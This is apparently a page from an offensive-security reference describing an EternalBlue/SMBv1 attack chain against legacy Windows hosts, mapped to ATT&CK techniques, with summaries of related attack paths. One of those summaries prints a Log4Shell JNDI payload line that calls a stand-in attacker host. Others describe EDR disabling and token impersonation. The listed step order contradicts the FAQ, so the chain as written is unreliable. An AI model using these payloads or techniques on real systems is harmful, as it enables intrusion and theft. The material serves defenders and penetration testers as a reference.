EternalBlue (MS17-010) → SMBv1 wormable spread

§ Context

Assumed environment: foothold on a network segment with legacy Windows hosts unable to be upgraded — embedded systems, industrial PCs, healthcare imaging, retail kiosks.

§ Steps

1. 01
   SYSTEM via kernel shellcodeExecution

   T1059— Command and Scripting Interpreter
2. 02
   Spread to other SMBv1 hosts on segmentLateral Movement

   T1021.002— SMB/Windows Admin Shares
3. 03
   Find Windows with SMBv1 enabled (445/tcp)Discovery

   N-NMAP-INTERNAL— Internal Nmap Sweep
4. 04
   Domain creds via LSASS (if domain joined)Credential Access

   W-LSASS-PROCDUMP— LSASS via procdump / comsvcs.dll
5. 05
   EternalBlue exploit (Metasploit / Equation)Initial Access

   CVE-ETERNALBLUE— EternalBlue (MS17-010 / CVE-2017-0144)

§ References

• T1059Command and Scripting Interpreter
• T1021.002SMB/Windows Admin Shares

§ Frequently asked

What is the "EternalBlue (MS17-010) → SMBv1 wormable spread" attack path?

Unpatched Windows 7 / Server 2008 with SMBv1 enabled — pre-auth kernel RCE. Used by WannaCry / NotPetya in 2017, still found on enclave / industrial networks. It chains 5 steps drawn from real-world offensive-security techniques.

What starting position does this attack require?

The first step is SYSTEM via kernel shellcode (T1059) — a execution primitive. Assumed environment: foothold on a network segment with legacy Windows hosts unable to be upgraded — embedded systems, industrial PCs, healthcare imaging, retail kiosks.

What is the final impact of this kill-chain?

The final step lands on EternalBlue exploit (Metasploit / Equation) (CVE-ETERNALBLUE), which falls under Initial Access. From here, an operator typically pivots into post-exploitation or maintains persistence.

How can defenders detect or prevent this attack?

Detection and prevention vary per step. Refer to each linked MITRE ATT&CK entry under "References" — every technique on that page lists defensive controls, detection telemetry, and known threat-actor usage.

§ Related dossiers

• Shared techniques3

  Jenkins /script Groovy console → RCE → AD

  Jenkins script console exposed unauth on the corporate intranet — Groovy 'execute()' = RCE as the Jenkins service account, often a domain user with broad agent access.

• Shared techniques2

  BYOVD → kernel-level disable of EDR callbacks

  From local admin, load a signed-but-vulnerable driver. Use its kernel primitive to walk the EDR's PsSetCreateProcessNotifyRoutine entries and unlink them — EDR stops receiving events while still 'running'.

• Shared techniques2

  Log4Shell (CVE-2021-44228) → RCE → lateral

  Send `${jndi:ldap://attacker/x}` in any logged field (User-Agent / X-Forwarded-For). Vulnerable log4j 2.x resolves the JNDI URL, fetches a Java class from attacker LDAP, runs it as the app user.

• Shared techniques2

  Unpatched Confluence (CVE-2023-22515) → internal foothold

  Internal Confluence instance reachable from the corporate VLAN. Trivial privilege-escalation CVE creates an admin user; webshell uploaded; pivot into AD service accounts.

• Shared techniques2

  PJL / PostScript → printer root → quiet network foothold

  PRET-style payloads against TCP/9100 give RCE on the printer's controller. The printer is a stable, EDR-free Linux box trusted by the rest of the network — perfect long-term implant.

• Shared techniques2

  Service account → SYSTEM via named-pipe impersonation

  Service-context shell has SeImpersonatePrivilege. Use Potato-family tools (Juicy / Rogue / Print / God) to coerce SYSTEM to authenticate to an attacker-controlled named pipe, then impersonate the token.